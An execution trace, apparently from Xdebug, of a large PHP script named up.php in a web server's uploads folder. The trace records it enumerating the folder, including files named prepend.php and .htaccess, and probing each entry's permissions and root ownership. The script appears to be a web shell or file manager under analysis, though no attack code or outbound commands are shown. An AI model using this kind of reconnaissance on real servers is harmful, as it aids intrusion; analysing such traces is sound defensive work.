4	123	0	0.006614	798016	lstat	0		/var/www/html/uploads/up.php	852	1	'/var/www/html/uploads/data'
4	123	1	0.006630	799800
4	123	R			[0 => 2049, 1 => 524472, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524472, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/up.php	852	$stat = [0 => 2049, 1 => 524472, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524472, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4	124	0	0.006691	798704	is_file	0		/var/www/html/uploads/up.php	857	1	'/var/www/html/uploads/data'
4	124	1	0.006705	798736
4	124	R			FALSE
4	125	0	0.006718	798696	is_dir	0		/var/www/html/uploads/up.php	858	1	'/var/www/html/uploads/data'
4	125	1	0.006731	798736
4	125	R			TRUE
4	126	0	0.006744	798696	is_link	0		/var/www/html/uploads/up.php	859	1	'/var/www/html/uploads/data'
4	126	1	0.006761	798736
4	126	R			FALSE
4	127	0	0.006775	798696	is_readable	0		/var/www/html/uploads/up.php	860	1	'/var/www/html/uploads/data'
4	127	1	0.006790	798736
4	127	R			TRUE
4	128	0	0.006803	798696	is_writable	0		/var/www/html/uploads/up.php	861	1	'/var/www/html/uploads/data'
4	128	1	0.006817	798736
4	128	R			TRUE
4	129	0	0.006830	798696	filemtime	0		/var/www/html/uploads/up.php	866	1	'/var/www/html/uploads/data'
4	129	1	0.006842	798736
4	129	R			1676252825
4	130	0	0.006855	798696	fileatime	0		/var/www/html/uploads/up.php	867	1	'/var/www/html/uploads/data'
4	130	1	0.006867	798736
4	130	R			1676252825
4	131	0	0.006880	798696	filectime	0		/var/www/html/uploads/up.php	868	1	'/var/www/html/uploads/data'
4	131	1	0.006892	798736
4	131	R			1676252825
3		A						/var/www/html/uploads/up.php	868	$file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4	132	0	0.006931	798752	file_exists	0		/var/www/html/uploads/up.php	872	1	'/var/www/html/uploads/data/.'
4	132	1	0.006945	798792
4	132	R			TRUE
3		A						/var/www/html/uploads/up.php	872	$file['is_executable'] = TRUE
4	133	0	0.006971	798696	function_exists	0		/var/www/html/uploads/up.php	883	1	'posix_getpwuid'
4	133	1	0.006985	798736
4	133	R			TRUE
4	134	0	0.006997	798696	posix_getpwuid	0		/var/www/html/uploads/up.php	883	1	0
4	134	1	0.007020	799496
4	134	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	135	0	0.007044	799464	reset	0		/var/www/html/uploads/up.php	883	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	135	1	0.007063	799872
4	135	R			'root'
3		A						/var/www/html/uploads/up.php	883	$file['owner_name'] = 'root'
4	136	0	0.007089	798728	function_exists	0		/var/www/html/uploads/up.php	884	1	'posix_getgrgid'
4	136	1	0.007102	798768
4	136	R			TRUE
4	137	0	0.007115	798728	posix_getgrgid	0		/var/www/html/uploads/up.php	884	1	0
4	137	1	0.007137	799384
4	137	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	138	0	0.007157	799352	reset	0		/var/www/html/uploads/up.php	884	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	138	1	0.007174	799760
4	138	R			'root'
3		A						/var/www/html/uploads/up.php	884	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/up.php	886	$files[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	139	0	0.007231	799400	readdir	0		/var/www/html/uploads/up.php	848	1	resource(4) of type (stream)
4	139	1	0.007245	799480
4	139	R			'.htaccess'
3		A						/var/www/html/uploads/up.php	848	$filename = '.htaccess'
3		A						/var/www/html/uploads/up.php	850	$path = '/var/www/html/uploads/.htaccess'
4	140	0	0.007282	799496	lstat	0		/var/www/html/uploads/up.php	852	1	'/var/www/html/uploads/.htaccess'
4	140	1	0.007299	801288
4	140	R			[0 => 2049, 1 => 524473, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524473, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/up.php	852	$stat = [0 => 2049, 1 => 524473, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676252825, 9 => 1676252825, 10 => 1676252825, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524473, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676252825, 'mtime' => 1676252825, 'ctime' => 1676252825, 'blksize' => 4096, 'blocks' => 8]
4	141	0	0.007360	800192	is_file	0		/var/www/html/uploads/up.php	857	1	'/var/www/html/uploads/.htaccess'
4	141	1	0.007375	800232
4	141	R			TRUE
4	142	0	0.007389	800192	is_dir	0		/var/www/html/uploads/up.php	858	1	'/var/www/html/uploads/.htaccess'
4	142	1	0.007402	800232
4	142	R			FALSE
4	143	0	0.007415	800192	is_link	0		/var/www/html/uploads/up.php	859	1	'/var/www/html/uploads/.htaccess'
4	143	1	0.007428	800232
4	143	R			FALSE
4	144	0	0.007441	800192	is_readable	0		/var/www/html/uploads/up.php	860	1	'/var/www/html/uploads/.htaccess'
4	144	1	0.007456	800232
4	144	R			TRUE
4	145	0	0.007469	800192	is_writable	0		/var/www/html/uploads/up.php	861	1	'/var/www/html/uploads/.htaccess'
4	145	1	0.007484	800232
4	145	R			FALSE
4	146	0	0.007498	800192	filemtime	0		/var/www/html/uploads/up.php	866	1	'/var/www/html/uploads/.htaccess'
4	146	1	0.007511	800232
4	146	R			1676252825
4	147	0	0.007524	800192	fileatime	0		/var/www/html/uploads/up.php	867	1	'/var/www/html/uploads/.htaccess'
4	147	1	0.007536	800232
4	147	R			1676252825
4	148	0	0.007549	800192	filectime	0		/var/www/html/uploads/up.php	868	1	'/var/www/html/uploads/.htaccess'
4	148	1	0.007561	800232
4	148	R			1676252825
3		A						/var/www/html/uploads/up.php	868	$file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825]
4	149	0	0.007600	800192	is_executable	0		/var/www/html/uploads/up.php	875	1	'/var/www/html/uploads/.htaccess'
4	149	1	0.007615	800232
4	149	R			FALSE
3		A						/var/www/html/uploads/up.php	875	$file['is_executable'] = FALSE
4	150	0	0.007641	800192	function_exists	0		/var/www/html/uploads/up.php	883	1	'posix_getpwuid'
4	150	1	0.007654	800232
4	150	R			TRUE
4	151	0	0.007668	800192	posix_getpwuid	0		/var/www/html/uploads/up.php	883	1	0
4	151	1	0.007690	800992
4	151	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	152	0	0.007713	800960	reset	0		/var/www/html/uploads/up.php	883	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	152	1	0.007733	801368
4	152	R			'root'
3		A						/var/www/html/uploads/up.php	883	$file['owner_name'] = 'root'
4	153	0	0.007758	800224	function_exists	0		/var/www/html/uploads/up.php	884	1	'posix_getgrgid'
4	153	1	0.007772	800264
4	153	R			TRUE
4	154	0	0.007785	800224	posix_getgrgid	0		/var/www/html/uploads/up.php	884	1	0
4	154	1	0.007806	800880
4	154	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	155	0	0.007825	800848	reset	0		/var/www/html/uploads/up.php	884	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	155	1	0.007842	801256
4	155	R			'root'
3		A						/var/www/html/uploads/up.php	884	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/up.php	886	$files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	156	0	0.007895	800896	readdir	0		/var/www/html/uploads/up.php	848	1	resource(4) of type (stream)
4	156	1	0.007910	800936
4	156	R			FALSE
3		A						/var/www/html/uploads/up.php	848	$filename = FALSE
3	52	1	0.007935	799144
3	52	R			[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
2		A						/var/www/html/uploads/up.php	1181	$list = [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
3	157	0	0.008083	799144	array_key_exists	0		/var/www/html/uploads/up.php	1183	2	'sort'	[]
3	157	1	0.008098	799208
3	157	R			FALSE
2		A						/var/www/html/uploads/up.php	1183	$sort = 'filename'
3	158	0	0.008123	799144	array_key_exists	0		/var/www/html/uploads/up.php	1184	2	'reverse'	[]
3	158	1	0.008136	799208
3	158	R			FALSE
2		A						/var/www/html/uploads/up.php	1184	$reverse = FALSE
3	159	0	0.008161	799144	sortlist	1		/var/www/html/uploads/up.php	1186	3	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]	'filename'	FALSE
3		A						/var/www/html/uploads/up.php	902	$dirs = []
3		A						/var/www/html/uploads/up.php	903	$files = []
3		A						/var/www/html/uploads/up.php	905	$i = 0
4	160	0	0.008261	799144	sizeof	0		/var/www/html/uploads/up.php	905	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	160	1	0.008330	799176
4	160	R			6
3		A						/var/www/html/uploads/up.php	906	$dirs[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/up.php	905	$i++
4	161	0	0.008381	799520	sizeof	0		/var/www/html/uploads/up.php	905	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	161	1	0.008448	799552
4	161	R			6
3		A						/var/www/html/uploads/up.php	907	$files[] = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
3		A						/var/www/html/uploads/up.php	905	$i++
4	162	0	0.008498	799896	sizeof	0		/var/www/html/uploads/up.php	905	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	162	1	0.008572	799928
4	162	R			6
3		A						/var/www/html/uploads/up.php	906	$dirs[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/up.php	905	$i++
4	163	0	0.008645	799896	sizeof	0		/var/www/html/uploads/up.php	905	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 